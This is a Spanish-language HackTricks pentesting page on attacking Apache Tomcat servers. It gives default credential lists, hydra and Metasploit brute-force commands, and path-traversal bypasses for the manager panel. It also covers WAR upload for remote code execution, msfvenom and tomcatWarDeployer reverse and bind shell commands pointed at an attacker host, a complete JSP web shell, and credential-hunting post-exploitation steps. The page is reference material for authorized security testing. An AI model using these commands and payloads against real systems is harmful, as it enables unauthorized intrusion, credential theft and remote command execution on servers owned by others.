hacktricks/network-services-pentesting/pentesting-web/tomcat.md

11 KiB

Tomcat

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Encuentra vulnerabilidades que importan más para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, ejecuta escaneos proactivos de amenazas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. Pruébalo gratis hoy.

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}


Descubrimiento

  • Normalmente se ejecuta en el puerto 8080
  • Error común de Tomcat:

Enumeración

Versión

curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat

<html lang="en"><head><META http-equiv="Content-Type" content="text/html; charset=UTF-8"><link href="./images/docs-stylesheet.css" rel="stylesheet" type="text/css"><title>Apache Tomcat 9 (9.0.30) - Documentation Index</title><meta name="author"

Localizar archivos del administrador

Es interesante encontrar dónde se encuentran las páginas /manager y /host-manager ya que podrían tener un nombre diferente. Puedes buscarlos con un ataque de fuerza bruta.

Enumeración de nombres de usuario

En algunas versiones anteriores a Tomcat6, podrías enumerar usuarios:

msf> use auxiliary/scanner/http/tomcat_enum

Credenciales predeterminadas

La ruta más interesante de Tomcat es /manager/html, dentro de esa ruta puedes cargar y desplegar archivos war (ejecutar código). Pero esta ruta está protegida por autenticación HTTP básica, las credenciales más comunes son:

  • admin:admin
  • tomcat:tomcat
  • admin:<NOTHING>
  • admin:s3cr3t
  • tomcat:s3cr3t
  • admin:tomcat

Puedes probar estas y más utilizando:

msf> use auxiliary/scanner/http/tomcat_mgr_login

Otro camino interesante de Tomcat es /manager/status, donde puedes ver la versión del sistema operativo y de Tomcat. Esto es útil para encontrar vulnerabilidades que afectan la versión de Tomcat cuando no puedes acceder a /manager/html.

Fuerza bruta

hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html

msf6 auxiliary(scanner/http/tomcat_mgr_login) > set VHOST tomacat-site.internal
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RPORT 8180
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set stop_on_success true
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set rhosts <IP>

Vulnerabilidades

Divulgación de traza de contraseña

Intente acceder a /auth.jsp y si tiene mucha suerte, podría revelar la contraseña en una traza de retroceso.

Doble codificación de URL

Una vulnerabilidad conocida para acceder al administrador de aplicaciones __ es mod_jk en CVE-2007-1860, que permite la travesía de ruta de doble codificación de URL.

Para acceder al panel de control web de Tomcat vaya a: pathTomcat/%252E%252E/manager/html

Tenga en cuenta que para cargar el webshell podría necesitar usar el truco de doble codificación de URL y también enviar una cookie y/o un token SSRF.
Para acceder a la puerta trasera también podría necesitar usar el truco de doble codificación de URL.

/ejemplos

Los siguientes scripts de ejemplo que vienen con Apache Tomcat v4.x - v7.x y pueden ser utilizados por atacantes para obtener información sobre el sistema. Estos scripts también son conocidos por ser vulnerables a la inyección de scripts entre sitios (XSS) (de aquí).

  • /examples/jsp/num/numguess.jsp
  • /examples/jsp/dates/date.jsp
  • /examples/jsp/snp/snoop.jsp
  • /examples/jsp/error/error.html
  • /examples/jsp/sessions/carts.html
  • /examples/jsp/checkbox/check.html
  • /examples/jsp/colors/colors.html
  • /examples/jsp/cal/login.html
  • /examples/jsp/include/include.jsp
  • /examples/jsp/forward/forward.jsp
  • /examples/jsp/plugin/plugin.jsp
  • /examples/jsp/jsptoserv/jsptoservlet.jsp
  • /examples/jsp/simpletag/foo.jsp
  • /examples/jsp/mail/sendmail.jsp
  • /examples/servlet/HelloWorldExample
  • /examples/servlet/RequestInfoExample
  • /examples/servlet/RequestHeaderExample
  • /examples/servlet/RequestParamExample
  • /examples/servlet/CookieExample
  • /examples/servlet/JndiServlet
  • /examples/servlet/SessionExample
  • /tomcat-docs/appdev/sample/web/hello.jsp

Travesía de ruta (..;/)

En algunas configuraciones vulnerables de Tomcat se puede obtener acceso a directorios protegidos en Tomcat usando la ruta: /..;/

Entonces, por ejemplo, podría ser capaz de acceder a la página del administrador de Tomcat accediendo a: www.vulnerable.com/lalala/..;/manager/html

Otra forma de evadir rutas protegidas usando este truco es acceder a http://www.vulnerable.com/;param=value/manager/html

RCE

Finalmente, si tiene acceso al Administrador de Aplicaciones Web de Tomcat, puede cargar e implementar un archivo .war (ejecutar código).

Limitaciones

Solo podrá implementar un WAR si tiene suficientes privilegios (roles: admin, manager y manager-script). Esos detalles se pueden encontrar en tomcat-users.xml generalmente definido en /usr/share/tomcat9/etc/tomcat-users.xml (varía entre versiones) (ver sección POST).

# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed

# deploy under "path" context path
curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell"

# undeploy
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"

Metasploit

use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
msf exploit(multi/http/tomcat_mgr_upload) > set rport <port>
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
msf exploit(multi/http/tomcat_mgr_upload) > exploit

Concha inversa de MSFVenom

msfvenom -p java/shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war

Luego, sube el archivo revshell.war y accede a él (/revshell/)

Conexión de shell de enlace y reversa con tomcatWarDeployer.py

En algunos escenarios esto no funciona (por ejemplo, versiones antiguas de sun)

Descargar

git clone https://github.com/mgeeky/tomcatWarDeployer.git

Shell inverso

./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/

Shell de conexión

./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/

Usando Culsterd

clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows

Método manual - Web shell

Crear index.jsp con este contenido:

<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
}  catch(IOException e) {   e.printStackTrace();   }
}
%>
<pre><%=output %></pre>
mkdir webshell
cp index.jsp webshell
cd webshell
jar -cvf ../webshell.war *
webshell.war is created
# Upload it

Método Manual 2

Obtenga un shell web JSP como este y cree un archivo WAR:

wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp
# When this file is uploaded to the manager GUI, the /backup application will be added to the table.
# Go to: http://tomcat-site.local:8180/backup/cmd.jsp

POST

El nombre del archivo de credenciales de Tomcat es tomcat-users.xml

find / -name tomcat-users.xml 2>/dev/null

Otras formas de obtener credenciales de Tomcat:

  • Brute Forcing: Intentar adivinar las credenciales probando diferentes combinaciones de nombres de usuario y contraseñas.
  • Exploiting Default Credentials: Utilizar las credenciales predeterminadas que vienen con la instalación de Tomcat.
  • Stealing from Configuration Files: Buscar credenciales almacenadas en archivos de configuración de Tomcat.
  • Using Default Credentials in Web Applications: Probar las credenciales predeterminadas en las aplicaciones web alojadas en Tomcat.
  • Sniffing Credentials: Capturar credenciales mientras se transmiten a través de la red.
msf> use post/multi/gather/tomcat_gather
msf> use post/windows/gather/enum_tomcat

Otras herramientas de escaneo de tomcat